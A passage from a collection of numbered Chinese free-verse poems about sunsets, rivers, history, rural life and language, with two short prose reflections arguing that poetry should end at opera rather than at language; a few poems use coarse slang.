冲着弥漫的黑夜。 窗户79 《窗户》 我想亲吻一个词语， 那灾难般的后果 或后果里面的拯救 让一个词变成每一个词语。 我自己也心存不安 我的信心起初只是觉得阳光美丽 抬头看了一眼。 顺着我的目光和身体， 与土地相连的脚。 停下行走的时候，一种让位发生了 那些我之前思讨而不清的 仍然以语言的方式攀爬。 它们之前曾经那么的潮湿。 戏曲80 《戏曲》 因为什么而Z反为了什么。 但他已经是一个什么都不会说的人了。 牙齿咬住了最后一点形容词， 即使我逃到了现代， 我也是最后一个，他希望给予他评价的人类。 落日81 《落日》 落日深重，以到达自己的内心而言 我第一次这么说。 在这些极易流逝之上面就像一个溺水的人 并在多年之后去到达今天的自己。 同桌82 《同桌》 我想放松下来，我只是一个农民。 这二重的水，使得水变得小心翼翼 它因此才惊觉，才违背和更为长久的时间 来以水的形式背弃人类的诺言。 使我成为一个沉默不语又对此无可奈何之人， 有时候使我湿漉漉的， 停在呛了一口又不至于淹死的鬼门关上面 我追溯着的水，逆流而上， 一会是洞庭，一会湘江。我看见不多的寂寞 也不少。湘女在岸边呼唤着，会动手就会 落下很多美丽的星光。 在那个日辰里面我短暂，想起事情半途而废 在你的美丽之上，我也是一个没有完成的人 千年里面受困的语言， 何必急于这一时。 油菜花83 《油菜花》 人撒泼，未来就成悬疑。 人耍酒疯，其实就是妥协。 谁能命定我恐惧的心灵，况且语言错误 在相反方向看上一眼，往空空口袋投以希翼。 往未来存放确确实实属于未来的问题， 是否未来确实如此。 现在我的骨骼在皮肤里面， 敲鼓，打锣，用头撞击都在里面。 不同于我说出你饮酒作乐之事， 另一个事之前的那一个事。 这个恍恍惚惚的人间，只要你的唇轻微的上扬 你就迷失在了开满油菜花的田野。 我也同意，我也是那种半透明半不公开的声音。 这样两种对等，使我想起了寂寞。 在千万棵油菜花之上，有一阵挽留， 有或者没有，有没有，或者干脆没有 我就把我留下来了。 三月84 《三月》 在水的历程上面， 水痛苦不已。 这震颤了的，是那几个时辰。 把水喊出的让水悬疑， 这是否真是你真假难辨的良心。 以沉默示之，人的处境向着谁呢 在得不到回应的春天 水一路向下。 引人误解， 又终归于历史。 落日85 《落日》 落日一直落， 不是往下落的那种落， 不是落下去之后再费力的回想。 那些思的部分属于我， 我属于一个傍晚赶路的行人， 我们分摊这些语言 ：傍晚的群山，火烧云， 山峦上面一半的红一半的消失不见。 如果你有什么不满， 那人儿就是了你。 如果86 《如果》 我不爱亲近，所以 我坐在了屋子里面。 我不爱，也不必再去了。 话语停歇，唇是港口。 如果有人爱的那么深， 在她的回忆里面我是 一个忧伤的波浪 那是我的忧伤， 它的平静，让我难以理解。 那是87 《那是》 那是什么， 那不是什么。 我不像我看到的一个人， 他那样歇斯底里。 那是我碰到墙壁返回来的声音， 如果人的疑问只能对着冰冷墙壁 又像一直在一个队列的此起彼伏上面 我因此发问， 是否我也是幼稚，和最先的那一个。 笛子88 《笛子》 吹你吹不响的事物， 吹而不闻不问。把一支笛子 从木头吹回来。 让远方成为副词， 来者气喘吁吁 来者苍蝇一般不满于 成为无头苍蝇的谚语。 你吹你的， 使你有你自己的问题，月亮般悬搁 只要那人儿在河边 低下了头儿， 在镜子一般的水中 望见了答案，又似饮水一般。 丰富89 《丰富》 我没有太过丰富的经历， 但生命并不枯萎 向自己内部干瘦的一株藤蔓。 它们像一串声音， 在许多年以后。 而如今面对着我的期盼 没有机场，没有准时航班，大厅 旅行箱。 突兀的渡口只针对我个人，画面阴郁 我还有一些话没有补充说明。 来到了一个小镇， 因为没有你所以找你，找不到的 回去睡觉在梦里面找你。 一个小的诱因，这么多， 事情也会显得它们自己少，并且 在静止里面这样来显示自己。 那一部分是属于我可以发声的 缝隙的样子。 我都没有经历过它们， 我只想在你的身体上面把这一切都经历 我眷恋你， 看到了死亡大不过惋惜。 说出90 《说出》 让石头等等你和我， 你和我不同， 就像石头静静的和石头不同。 不尽相同和不同不同， 说出和判断不同。 石头越说越寂寞， 我和石头不同， 我自己在说一块无辜的石头 把另一块石头给说出来， 如果你要问我， 如果我就在这里。 江水91 《江水》 住这里跟在别处是一样的。 就是了住。它有一种形式，很亲近的感觉。 长江水流淌，流的更远。 我们谈到江边的土地，稻田， 风景和城镇。 以语言的方式， 江水就是我们的语言。 它代替了语言， 水流在天尽头消失，看不见了 伴着我们的沉默。 日落92 《日落》 小街笔直的直通到黄昏的尽头， 太阳在那里赶来 时间的悖逆对我们来说， 心内是否会有一丝，知晓了结果而来的 侥幸。 如今我们在心内存放的光被拿来出来 时间被当作了铜制的指针 太阳上升，西面也受到了牵连 大家一起努力 而来的注定是失败。 一支悲歌的内容是 太阳，因抵挡不了黄昏下降的力量 而下降的缓慢。 那些被掩埋而并不隐瞒的上升， 有时候是语言。正是语言的时候， 诗歌只是它特别无意的一小部分。 李亚伟93 《李亚伟》 看看《豪猪的诗篇》， 再看看洛夫诗集最后 有人赐予洛夫白话文桂冠的称号。 是不是台湾海峡的水势过于凶猛， 汉语言的深度和魅力 在一条海峡，一点点慢慢的淡化，表层了。 趁着94 《趁着》 并不趁着夜晚来， 如一支抒情节奏，明快的歌 诗歌的邻居也在睡与出门之间徘徊。 有时候变成了树， 但身姿垂立，我们却说，大地 有力量，足够的到达了我和 我的起初。但会趁着夜色离开， 而令他醉心是离开给予我的痛苦与迷茫。 当我解开了它， 月亮和时间，一起让夜晚 跟指针一个模样。 我要往更宽阔的地方去，会带动起了水 但愿，那是一种特别微小的事物 也是对你而言的。 在我的尽头你过分的美丽。 微弱95 《微弱》 那微弱的气息已被爱所抛离。 在词语身上，爱用尽 全力。 我猜测那是一根木头， 是一个石头因不占据， 而拥有了它的名字。 这肤浅的判断，还求助于 江湖上的卦师 ：我的两只手，是手和眼睛 石头和木头，只是它们各自过去的和谐。 行走一般的思想已经扰动了紫藤花 美丽的花丛。 美丽向一个故乡的称呼变幻， 带着犹豫， 事物怎么会像人一样， 在思想的权衡里面，因为利益而向 更多的得到妥协呢。 而我行走般的思，是叛逆，揣测 妄加断言的时候仿佛一头 自言自语的狮子， 因注定失败而愤然而起。 我是那花中之火，是花的断代史 开始于花瓣被火焰和语言炙烤的火热。 它难堪的时候就成为了雨 而那些下游的子孙后代充满了迷梦， 在粮食和酒里面晃荡， 在酒的并不成熟里面问罪于粮食。 在夜里，独自走向河流，呼唤久远的父辈 那红便更盛， 谁呢，也不能让过去轻而易举的 成为了过去。 所以我并不孤独， 我只是，只有成为了一棵青草， 才能拥有那历史的良心。 我还要，我还要自我迷惑， 遮盖住它们婵变的历程。 那微弱的气息，使人想起了傍晚的夕阳 对那爱的拒绝， 像大唐或宋朝 马蹄因春风而极速 声音在声音里面混合。 如今，一首无头无尾的诗歌 甘心于被没头没脑的哲理所刺破。 月下行着呦，那个刺客 为了全部都交给他，便一无所求，而这些 历史的良心一般， 又像是旧人， 像古老的。正在夜晚缓缓的下沉 思与沉重的关系，并不轻盈。 夜间96 《夜间》 我不等你了， 我在明天等你。 但我不能在明天与你说话， 这些语言已随时间一起流逝， 巴山97 《巴山》 膈的我不舒服， 胳膊上留下血痕 未来一阵的晃动。 让那些未来晃动下来 让一株树木， 干脆这里是它的根部。 你如果更大胆一些， 出于幽暗室内胆小的安全感， 我们的语言藏了多少的酒呢， 甚至夜晚我也会失眠， 因看着它， 一醉千年， 又会被拿来，当作了灌溉的水源， 那些98 《那些》 因为我想要向着石头的里面。 但石破，破的稍早 像我的语言赘述，像我的性格 拖着多余的文字 会使语言错误。 使那些容易成为天气预报一般的 就高高挂在天空。使晴朗成为一种 很远的偶然。 特别远就只属于女子，是一声轻啼和心意。 破了的石头， 石破天惊的语言。 在我的身边有人涉水， 我像岸边的芦苇一样静止。 有时我回来， 从寓意着风那里， 有人涉水付之行动，真的 湿漉漉的，我暂时不能 自摸于自己颜色倾向于她肉体的良心。 那时期请允许了我， 是新的诗歌，新的歌谣。传唱。 酒中99 《酒中》 酒中的窗户，是一男一女。 是我的脚下，地下室，没有语言。 分开了我的过去和现在， 并用一条带着怜悯的肤浅串联起来。 我走到语言的制造车间我会回来， 我错误的明日并不会转弯， 笔直的也不会，穿过茫茫雪山。 我已做了尝试了。把暗淡的灯光应和 生命作为一个文字来体验，在一个文字的世界之中， 有手有脚如果像醉酒便可以不像造f。 我离开它，越来越远。 我越来越近，近乎于失去，和无知。 近乎于离开，我还没有醉。 摇晃100 摇晃 《摇晃》 为了我摇晃的多像你， 在红中停下你停不下的脚步。 孕育的脚步， 羞涩的眼神和脸庞上清脆的响声 试着向人儿爱恋着脚步的局促。使你 不会停下转头问我的脚步， 我是谁， 空让我寂寞。 疑问让空不能停止 夜晚残缺而裸露， 因人而异。 像一个大大的木板， 因需要你我合作，我进了去的你。 应该101 《应该》 我应该轻到怕你的话语， 我应该是问题， 不轻但越来越轻的如同 一种严重。 快要遗忘之前如同被点亮 而那些更为普遍的 是照亮的光明，没有话语，正转过身 往自己的普遍里面走去。 像这个时机不得不被重复 我需要去强调，而我 犹如井里面的肤浅者，矛盾于更深的忧。 像脱胎换骨，像花朵被根茎刺破 像就这么静静的 高原在眼前展开。 而如果我的勇敢首先的迷惑了我 跳动不断的炙烤。 你是不是你，是不是我返回时 因为荒谬而荒谬的人。 因为你，或者谁呢。或者 盼望有一束影子。我盼望放松， 在思想贫乏的两侧如果又以贫乏来掩埋。 如果又是以解释， 如果就是你 如果我确确实实是生活在第二天 去如何的感觉， 这些新仿佛某些轮转，错误的词语 或者别的什么，而我是慢慢的 试着把放松赠予你。 天津102 《往那里》 往那里去吧， 就是静止的意思。 往天津去， 往一个人不必解释的一生去。 静下来就去看看他这个人 所经历的风景， 看他的空白。更为主要 更为重要。 走上大楼人就忧伤的消失不见， 田野上摆满未被处理的事情 很多， 但一件不会引起另一件 只有一种悬疑， 你有时候在那里，你有 或者人很单薄 是人这个字。对或者不对，猜测 或者希望一直猜测。 往天津去。。 松树103 《松树》 松被说了一下， 什么又是人。 像什么是刻度， 牵涉到刀子，多一些 在人面容的从容里面是刀功 雕刻 有时候是在远远的山脚 望见了的山上。 又像一个行动， 出于不好反驳， 事情还有很多，但都 一一的在了应和里面。 车站104 《车站》 在九十年代 一列火车带走了具体 要为一列火车感叹。 过了十年， 我找到了水，你也一样 它什么也不说， 事物于是就像水一样。 过了十年感叹是为了什么 我是一个人类 背着麻袋，进城务工， 拥挤，在火车站更加拥挤 更加的想你 话语也被挤压着。 待孕的产妇，新鲜的女人，光泽 不仅仅只在于眼睛。 脸庞。 还有别的什么吗， 为什么， 时代匆匆前进， 你有没有决心，愧疚有多深 瞧你得到的， 像车站那么空。 济南105 《济南》 济南有条美丽的河， 水清澈。 把我的话语包裹， 我的语言涉及着未来。 我像一个监视者， 谁又能知道和猜测 门后面的人， 跑到了阁楼上。放弃因果和爱情的 论辩， 怀中揣着滚烫的热情如风。 提问我的人艰难的微笑 把嘴打开 光明被释放。我的的确确就是了 白天里面微小的波浪。 提问者离开像命运的雷声， 也允许我借着别人来把自己取笑。 人海和花丛，花要花开万里，花开万里里面的花朵 又仅仅只是在这个街道上面 仅仅只是命运的装点 把一个圆圈装点， 要颠倒，装点一个圆圈。 处理106 《处理》 我在夜里， 孤独 处理白天的任务拖到了傍晚。 傍晚像原因， 一大片的沉默 里面有树丛，河流，稻谷和虫子。 自然的生物不愿意被摸到本能 它凑过来， 脸庞贴过来 不说对与错的话语 有时候作为一个整体而妥协， 又在我等待的人和物 在那之间， 就是抵达， 也抵达了与行走的关系吧。 知道107 《知道》 我知道你会在夜晚敲我的房门， 把我揣测的多，虚无里面的幻想都 一一的敲落。 等很久了，月亮已经上升 我在你的心迹上面， 找不到语言位置的是我 我在尴尬的说。 各自108 《各自》 我穿过诗歌中的落马洲， 穿过群山，穿过铁路。 落马洲是落马洲， 群山是群山， 铁路是铁路。 它们各自是自己，留给人们 是它们的历史。已足够多了。 我走在一条迷路上， 听到语言升起的哨忽 语言有时是群星， 为了实现一个璀璨的目的， 我在德性里面转了向。 历史中109 《历史中》 历史中和在历史， 两个相同的人也被其中的一个 举起，落下的犹豫所打扰。 给远方的人捎来了一封信件， 把信件的内容 寥寥数笔，写在那表面。 如果你藏的更深，因此才好来判断。 如果你就是我 而我推脱的理由是不如让地址空空， 留给我们更多，属于月亮寂寞的时间 而从那里往下， 我们爬上高高的城楼吧 夜晚的月光下面，浪漫的情形里面 你就不会说话，思索 你只是一个唇。 我，我在语言里面把一个吻 如何的结合于，问题的解决来找到， 大地110 《大地》 大地在大之中， 在不满足之中大地往前迈出了一步。 向内坍塌的大地 它那小何时才能成谜。 闯入111 《闯入》 快，和慢 快闯进了慢里， 谈的就是那马蹄疾驶 甚至马匹衰亡的历史。 河对岸有遥远，声音也谈，谈的被迫 谈中掩埋。 谈中甚至端正如一支歌子 马匹衰亡在历史里面的倒影， 并不孤独。而那些掩埋却不准再言说 我，就被消耗在了这里 我一眼千年，于你使我的心惊胆寒。 戴着草帽，披着蓑衣 自我介绍里面历史的屁m，如果不够 口渴而向马匹一般的投降不够， 换不来饮水而心甘情愿于深陷迷途不够。 月亮高照有时候我疲惫到沉默， 语言快要在水流的边上比人儿还要涉危。 而这一些不过是梦一般， 轻啼的一声，当下一个人带着同样一般 而身份的变幻在语言里面 只是地理位置上把农耕的工具紧紧抓牢。 他已经抛弃了与我同样的情感， 他是下一个我就是上一个 他与我是一个整体，我就日夜的 置微不足道于不顾， 像生有一种力量，语言不言自明，书信投入滔滔江水 尽头的皇帝正下达，去往边塞的密诏 边塞就是这里 我就是你，你是因为农耕而不会再有 距离的情谊。 苏武牧羊112 《苏武牧羊》 在边塞， 人们只知道困难， 在边塞因为孤独而与牛与马 最先是与身下的坐骑说话 那些空着的远 和里面空着而就他么一直空空着的山与草原 戈壁 让我们放弃了行走。 倒不如转过身投身于未来历史 热烈的猜测。倒不如弃文从武，作风一改 就在某天夜里分外的光明。 燃马匹为饵料， 为蜡烛 慌乱是深入一个四肢动物的必然 所以文字里面的一次次颤抖大可不必太过大惊小怪。 在边塞，谁能越来越空了， 马匹少了一只，我们心知肚明， 我们矛盾，我们的样子是水和土地的矛盾 是互相占有上面在第二天清晨的浸润，又在 傍晚金黄色的和解。 马匹再少了一只， 便是马匹生性暴躁的本性， 马匹吃了一头羊。马匹的爱情远离故国 在爱情里面怀念故乡的青草。 当马匹与羊群再无踪迹， 一切空空，越来越空， 看吧，雪山与戈壁，大漠蒸腾，苏武牧羊 谁又能空的过谁呢。 在边塞，人们被后来人颂扬美好的品格 得知如此，天高水长 人们翻来历史被一次次失败所吸引 赞歌的有着隐秘，有人从现代来过一次 沉默，不发一言 复又回返。 周贤弟113 《周贤弟》 不会成为自己体内的一根竹子， 竹生两瓣，不会过多刻意去隐藏， 我等待，那被隐藏之物因此的隐藏。 我的舌头长在嘴巴里面， 极其偶然我也要因为 钻进了别人的语言，而别人嗔怒， 撒娇，念怀 作势要赴一场赤壁怀古。 在那里怎么会有一次风花雪月， 那历史之中的战争难不成 真的倾向于乡野，起于一次曹贼闷骚 施展刮向东吴周贤弟那里的东风。 要谈，我就不再在故乡啰里啰嗦，乌漆嘛黑 噼里啪啦。 谈就谈这些历史之中乐趣使然的野史 我们的终点并不固定， 我们的语言却愈加的小心翼翼。 我们的终点也固定， 有点特喵的紧啊， 因为并不是与水的关系， 想出麻雀做信鸽的老哥，心儿一定决然 为制造给后代人的麻烦， 他心中一乐，大吞江水， 我却麻烦，施施然。 贫乏114 《贫乏》 我不是多出而来的， 不在于少中而有柔情。 步伐落空，心意就满 如事物因为繁多 拥挤早已经发生。事物的里面是一个旅途 个体，被他物占据着。 所求的失败因此有成功的外貌， 看不清的夜晚，向着我们的视野模糊。 即使在这个含混， 人有所企图。 向前的人身子还没有搅动， 雾气来自于语言。 谁能想象那些发自内心说话， 与语言的关系呢。 贫乏如我，事情还有结束所赐予 的幻梦，在事物的还没有开始处。 它115 《它》 一直活成，在沉默里面 被自己和别人问起。 活太久的时候， 一声轻咳。太少的部分 容易涉及到我。 我摸心摸不到它， 摸不到就心知肚明。 已被我关系，忧于你任何的作为。 用不信的，话语一直绵长 它不可证明，它梦想。 远方有时很近， 它收腹，束腰很危险，它 还是它。 目的116 《目的》 离去，要更加的果断 而撞上到来。 目的已达成而失了心扉 站在别人的角度看待自己的问题。 只增加了一些困难 我们相信夜晚属于入睡， 一切都尽数收拢。 吃饭117 《吃饭》 吃上一口饭，而不达到饱腹。 我正吃着饭动词般的美丽。 我第一次赞美粮食， 从里面洁白而出的大米。 南方一般的膈了一下 在彼此讨论中很轻，又慢 一粒粒的牙齿间。 我吃着饭， 不能一牙二用，做出回答。 吃饭118 《吃饭》 吃上一口饭，为了不达到饱腹。 我吃上一口而不到达饱腹。 在饮食里面只是走出了一步， 语气更多只涉及到美丽。 看着面前的一口米饭， 洁白，光泽 不忍心吃掉。 如果我已有所到达， 准备吃饭跟饱腹有同样的意思 都竖起它们的高墙。 又是什么呢， 使得我可以做着去往吃饭的准备， 而那些因此被掩埋掉的 人侥幸的心理 混合着无知 是否在未来，如同过去一般 也徘徊在是与不是之间。 上前119 上前， 询问盘膝而坐者何人。 草木初春，青衣简朴 问坐禅者否， 随即就往那空寂里面误解一般再走了几步， 其中包括了我发现是误会和迷途 这回应的空，并不在我的发现里面晃动。 透过了禅的模样 而否定它我来者是否有所必然 这， 是我真正想问而犹如 自身是一棵等待春色的树木。 比禅更深， 你是一位刚刚坐下来休息的农民吗 累到无力回应 美好的梦乡，让你对周围发生的一切 都没有了察觉。 我视每一个事物都有意义 人却首当其冲的阻拦 唇指正，但你是客气和含蓄之人 亲近的关系如今模样盘膝 但我依然未知于陌生的事物， 无知又似雾非花 只是柔柔的手，轻轻一动 我便来到了此地。 想要问问你生命的意义 想要自己是水 浸泡着话语， 如果你是书写的人令我虚幻 我如今是否已经给你 制造了足够的困难 你踩在我的脸庞，令五官散开 又在面容上面形成 在我还没有学习语言的时候 童年的咿咿呀呀 最初变作了， 如今再次重现的星辉般美妙。 是否你于心不忍 我亦是某一句的唐诗和宋词 在朝代的结束被悲伤所袭扰 抚慰我的 是新的歌者， 他有三亩良田，一处水源。 这句子如今终按耐不住 历史的朝代仿佛 更替的没有尽头。 又好像与你的嘴唇莫名 发生着亲缘， 为了你能写出好句子， 因为没有尽头才将将的有所产生 朝代， 一个又一个 或者这一个或者 这在你我谈论中， 使你我皆沉默的一个。 短句120 《短句》 用三行短句， 给野草赋上深刻的哲理。 又是一年春， 从凋零到再次的丛生。 青草一直对此无法理解， 那真是它身体的一部分吗。 汽车121 《汽车》 年轮。别的 也可以进入这个刻度。 在我的前面， 与我保持着模糊的距离。 我坐在车上，文字 像置新的开始于不顾， 而这些太过有力量的，挣脱的结果 那些思想与现实的分离 以及 梦幻。 有时候我思想到了它们 感觉一切忽然变得很慢 我的心很远， 走到我的心儿也很难， 以后离开，一种巨大的空。 一江水122 《一江水》 我与你永隔一江水， 那中间的语言因此 怎么说也说不完。 巴山124 《巴山》 在平原里面寻找着 起起伏伏的山峦 才好来动笔写你。 在山的阴影里 静静地坐着 一个人儿，雨 悄悄地 落了下来。想起了 那个古代人要回长安报道 事情仿佛出现了新的 美好的转机。 离你越来越近了 路途漫长，跋涉千里 跋涉到了 一场，白天和夜晚都下着的雨水里面 他失眠，醒来，复又如此 他在雨水中走着或停， 都没有声音。 未来125 《未来》 逝者如斯夫， 这些未来，未来的未来 甚至还会堵住我的嘴 我说的远离玄机的话 声音震动如一次鼓鸣 为驱赶，那些矛盾重重的 遮蔽的那些 是否可以算作你的话语。 我担忧于我的脚也寸步难行 因为与你的一次对话， 而对于这一些想象，你的取笑 晃荡着这一些头脑和心内的空幻。 短句126 《短句》 用三行句， 赋野草哲理之深。 春又一年，其内包裹着 从凋零到再次的丛生。 而因为始终无法理解， 它热烈的部分青， 了又青， 或者回来，从凋零那里 很慢的时候，才人类思想一般的 做着自我吃力观察 那人行过留有言语的时刻。 紫色127 《紫色》 所有的都是 副词因而空着。 悬着的心也感同身受， 时间里面的东西 有着明确的目的地和 诙谐的行走姿势，飘逸在了 我们陈述出来的话语里面。 对于那个皇d 他太丰富以至于贫乏， 太成功以至于失败。 遂历史干脆被丢到了九霄云外 化作 天上的雷声滚滚， 区分开黎民百姓和他的 是下雨时候的因果 他向着四面八方俯卧，态度诚恳 同时，一点点事被追忆了回来 在民间流传和重复 在我们的历史之中，一代又一代 我们还是农民 由此猜疑， 有所改变紫色里面还是有一团 暗哑的火。 贫乏128 《贫乏》 我不是多出 而来 的。 那鸟儿在远处的高枝 听讲学，观人 与人论辩。观打不过的人撒气于鸟 一颗石头一对翅膀 一个hm被除去肚子成为一颗新石头。再 咻的一声， 它喵的的鸟说， 准星太差。 鸟乃从此千古之言，今夜 它更紧的抓紧了枝头，如抓一对美丽的隆起 使我心中那紧微不可多的回忆骤然一紧。 试试解释的潮水涌过 不行劳资大可哀叹青春一般的就回来 力竭中投降。把自己交给另一只，你那亲戚。 夜晚 交给你了。 土地交出，历史的答案是否 还那样自我否定中清晰。 我这身子骨也交给你了， 一阵迷乱。只要， 耳朵留给我就好。 听中同样寂寞， 来者之前从耳到心就好。 转过身， 转过身， 如一部野史。 济南的129 《济南的》 有么说么， 在济南里面还要更深一点点的地方 才好把一切被痒和痛了的掩埋。 我因此在回答的每每屈服于逻辑里面 强调不饮酒， 又时常想着把屋门，大门 一溜烟的特么的推开， 酒端着，人不在，坐满了群山。 人有时候醉了，我就要抬起头，看看墙上的 老式钟表。故国还他n的剩下了什么 一只鸟，一个鬼头坨，铁质的， 在容易被遗忘之中每每勾引语言。 来人皆游客，诗人因此要做好思想准备 往北就是悬疑 木头和青草是一类东西， 在于远，则亲戚以为少了，谁知道 蓬门今始为君开，涉及酒肉的短暂屠宰里面 就是猪毛，羊毛，狗毛，鸭子毛。 呱呱呱的叫而饮酒， 一瓣蒜，两瓣欢喜。 醉后我就借着小解之名，摇摇晃晃，几度春秋 劳z横七竖八，早已经察觉你这南人心怀不轨 酒后的群山我就是那扇窗户， 酒也穿不过的地方叫做了边界， 那红颜来到了这里就应该被留下 衣服穿的多一些， 今天的日期模糊再模糊如一些雌性的鸟叫一些。 但万水千山总是情，没有华子来兰州 我还是受了你的影响 两眼一眯，觉察到土地不允许 我， 还是要在山上燃气过来， 照亮你的来路，北方太过轻松了 在你的心坎上面北方年轻清脆你的五指 在兜里揣起 你也是火，那都是酒后的故事 只是把你过去的我去经历一遍 你是橡皮擦，也擦不掉， 一些130 《一些》 一些人活成历史，并在随后因此被无辜的调查 在人的苟延残喘上 我们的双脚也能够直抵着最简单的文字 而人文和历史早已经先于一切而构成 了历史的汪洋 随后赶到的事物拖拽着人的残躯 我们战争的对手是青草，落于无名的海上 是西边垂落的朵朵云霞。 历史之中的那一些小心思如今是众多 狭窄幽暗的缝隙， 像褐色的柱子， 支撑起了我们很容易遗忘的语言。 干脆一了百了，因此，我们又被新的历史 在它新的名字：未来 那里被洞穿了一次。 这个夜晚就适合做这一件事， 你应该坐成那个观江水的人儿， 坐成农民的儿子 更幼小是人m的子嗣。 当解释一般的云霞，所寓意的第二天 覆盖了你。 更多一些的时间在漫长的历史中多么的短暂 当我获得了这种允诺，我感激于此 我穿过那些困难在因果律和时间之中的纠缠 与我无关的我也穿过， 在空空的室内偶然平静的准备着一切。 无题131 《无题》 我们需要时间寂寞无声， 这些矛盾无形。 人去了哪里我不关心， 我并非不关心人类。 这些声音被捕捉，以短暂的方式 那是人此起彼伏的反驳。 就在132 《就在》 转过身，就在 海洋一般人思维表面上，更为的具体了。 往更小的地方去， 我不是老师，更不吝于 从父辈，找到再次的背负和蹒跚走路。 当这些小有着用来躲避的可能 人的职责像是发乎于心 而那些个具体，或我注视着 或者我确确实实可以这样， 从突然开始的， 宁静不需要言说，言说的属于旁白 和多余。 那人类的良心要等多久呢 那些回返也要很久， 是漫长的一部分，说给你我听。 没有133 《没有》 我还没有到达， 路上有一座庙宇。 我像是口渴了，累了 我的预期顺着月色的光亮。 我像是它破旧的那一部分， 弄巧成拙的那一部分顺着 时间 古老下去了。 我。 度过134 《度过》 经过文字， 就以忏悔的方式度过一生， 以反驳的方式 作恶。 我们是投身于海而幸存下来的， 接着我们已被讲述的历史 把孤独除开了来。 正是如此我向往着美好的事物 文字， 词语， 思想， 逻辑的通顺。 你是另一个人，一直走到我的心里面。 本质135 《本质》 人是语言的本质， 言说的本质，因此 一路向下，人是现代，心中不甘的山顶洞人。对 本质的思时是被思成思特么的本质 被本质时，周身缠着无形的锁链，是本质的本质 语言的本质，两次， 就为多。三则无辜，数字里面有我们 反抗的历史，农民强j历史的背部，汗水滴滴答答 特么的一直滴滴答答的支撑起来的本质的历史。 我在本质的天幕下面 我投降。 一路回返已经是大言不惭 随手而来烫了我一下 的 本质。还是闭嘴比较好， 历史的臀部真肥， 越过136 《越过》 超过当下历史的， 是人的痴狂。 痴痴狂狂的弄虚做了假 一问， 就弄假成了真。 人的对不公的愤怒和 愤怒转无力的心思 转变之中发生的事情是未来 向现在的屈服， 石头剪刀布137 《石头剪刀布》 每一个词语都是石头， 有很慢很慢的部分。 需要138 《需要》 我不需要， 不断的死，死直到把活交了出来。 我不需要以背示人，语言充塞。 在漫长的茫茫大雾之中， 里面。 活如饥饿的人这样说。也面临着 腹部空空处境。 戏139 《戏》 是诗不是戏， 人们就会空谈道德。 那么多苦难，人 接二连三的死，你谈个锤子。你谈你m的棉花啊。 只好谈一个农民，在不知名的乡野 谈具体， 感动我的内心又因为不想感动， 你干脆死去算了。你干脆像条g一样 与康德的二律背反相呼应 再顺着西方哲学长久试图解决 人顽固性的那条大河。生成于人文和社会 并在生活中找到例证，起伏如音浪，如琴弦。 谈吧，是成功。 像我诗歌于耳目闭塞，门外汉， 窗玻璃透过而想常常麦当劳汉堡的味道。 兴许这也是一首诗歌， 我踩一下春天的雪，找不到具体，心知于此 戏曲要开始。 春日140 《春日》 上涌为水 饮用就是我们，说话的结果。 这也是春天发生的事情， 很容易的就属于许许多多个春天 像这一个春天用来抵消 我们并不是活的鲜活，在许许多多个春日 静止不动。 有关于诗歌到语言为止141 [cp]诗歌到语言为止不具备任何的思想，进而因此才可以以诗歌到语言为止的方式来警示和呵止。 但这有多少效果和力度，哪怕说出者把这以强调的方式抬高和真理化。这是否只是1西方哲学在中国以以诗歌的形式在延续。我是说近代西方哲学。而没有在哲学本身这个地方。 诗歌到戏曲为止则是一派思。思而非哲学，哲学即西方哲学和西方史。 戏本身是诗与思的真正的名字。所谓真理说不过是思想微弱下视力模糊的一种太过迅速的以为是。一些花边之类的。即，如果把诗歌到语言为止弄成思和去蔽，那本身其就是遮蔽。 而遮盖住了戏曲和东方。[\/cp] 有关于诗歌到语言为止143 [cp]诗歌到戏曲为止，否则诗歌到语言为止的强调除了强调者自身的以为是，别无他有。不仅起不到阻止和呵止(即，只是一种呵止的声音进而极有可能之后成为一种回声，无主的)，反而不过是这种语言泛滥的一部分和【其极其难以察觉的那一部分，最顽固的那一部分】。————诗歌到戏曲为止，是诗歌到语言去为止而试图寻获的目的。 ——【是戏，不是诗，进而也不是思】。不是在诗歌中延续一种不好察觉的西方哲学所关怀的东西。那是人家自己的事情在世界性上的一种投射，进而是中国诗歌不由自主的面对西方世界性时的西方语境化。 ————戏是对应于西方哲学和西方诗歌而在中国的名字。[\/cp] [cp]诗歌到语言为止那里，停留在那里的一个后果是 【即，没有什么真理】(而真理化的强调了)[\/cp] 无题144 《无题》 戏曲是一种踪迹， 感情是一种踪迹。 失败之中已经不需要对任何 做出了回答。 问题撑狂如孤月 明天的日子忽然因为多余而撞击。 如果我能独处而宁静， 世上多出来的一个 是肤浅之徒对死亡恐慌着逃避 提及145 《提及》 人常略带孤独的说心遂人愿 像取自无形 现实里面，隔着一条笔直街道 被提及的次数很多。 那人在街上，在汽车里面 她作为一个女性的时候 优秀梦到了她， 行使在街道上的汽车 靠拢一般的忽左忽右 避开仿佛又是对唇间的语言告知着 自己的并不多余。 雪山146 《雪山》 我不擅长诗歌， 直到在梦中撞上了雪山， 词穷中进入了下一个梦境。 想要出去，想逃离，把一个嘴巴 想象，在寂寞而久远的日子里面遇到酒。 梦想成真了就看看这饮酒粗鲁又犹豫的过程 在细腻诗人的不惊扰他人中 他人正悄悄倍感感激的成为词语中的世界。 他小时候的一群玩伴， 聚集在村庄外面的河流。 在诗歌上面行走， 在未来解释，伸出手儿摊开。 古人147 《古人》 我们是一个古人 就首先要自我矛盾。 只有坐进了深处 寂寞的人儿你要用东西驱赶了它。 热情的人儿你古人大方的部分 送客过了一个又一个大山，怎么 还是不见雪花白了你的发。 你在文字里面愈发的可疑，一切 干脆就算了吧。 我瞧不上你那无辜的眼神， 哪怕空在了你的心里，世界如 涌出的泉眼。 一个又一个人失去了它们的房子 像远处的雷声，不满的云彩 朴素的语言，人忙碌的， 你忙碌的思索而仿佛走的通的部分。 故意148 《故意》 像故意而为， 时间的镜子一摔就碎了，像一颗 因为寂寞而故意的心 有门，喜欢听院子里寂静的梨花 开放的时候够不到 院子里面倾斜的扫帚。 她只是听到了扫帚上面，有着 与清扫密切关系的比喻。 还没有人来，试着往一棵树的更高处攀爬时候 就有一阵银铃清脆的响起在了心中。 即使，她容忍更多的语言， 越过语言她钟情三月里面的对话。 但我翻阅的整本书 也没能找到她的位置， 作者没有告诉我，他的寻找是如何如何的辛苦 那些喜悦冒了出来 那些天空像一千年的蓝色玻璃， 确实如此。 古人2——149 《古人2》 我们是一个古人，承认不好吗 我们自我矛盾，我们 被因果谈论 天高水长的躲进了屋子里面。 我已经如此寂寞的等待了你再次的 走出来， 美好的心意像春天蓄满了水的 池塘和洼地。 那一些语言的部分，是怜悯是错误 在错上加错的善意的判断里面 我都快要吻上一支花朵。 我也心遂人愿， 书籍投下了历史中的灯火 我有两种选择，无一不是 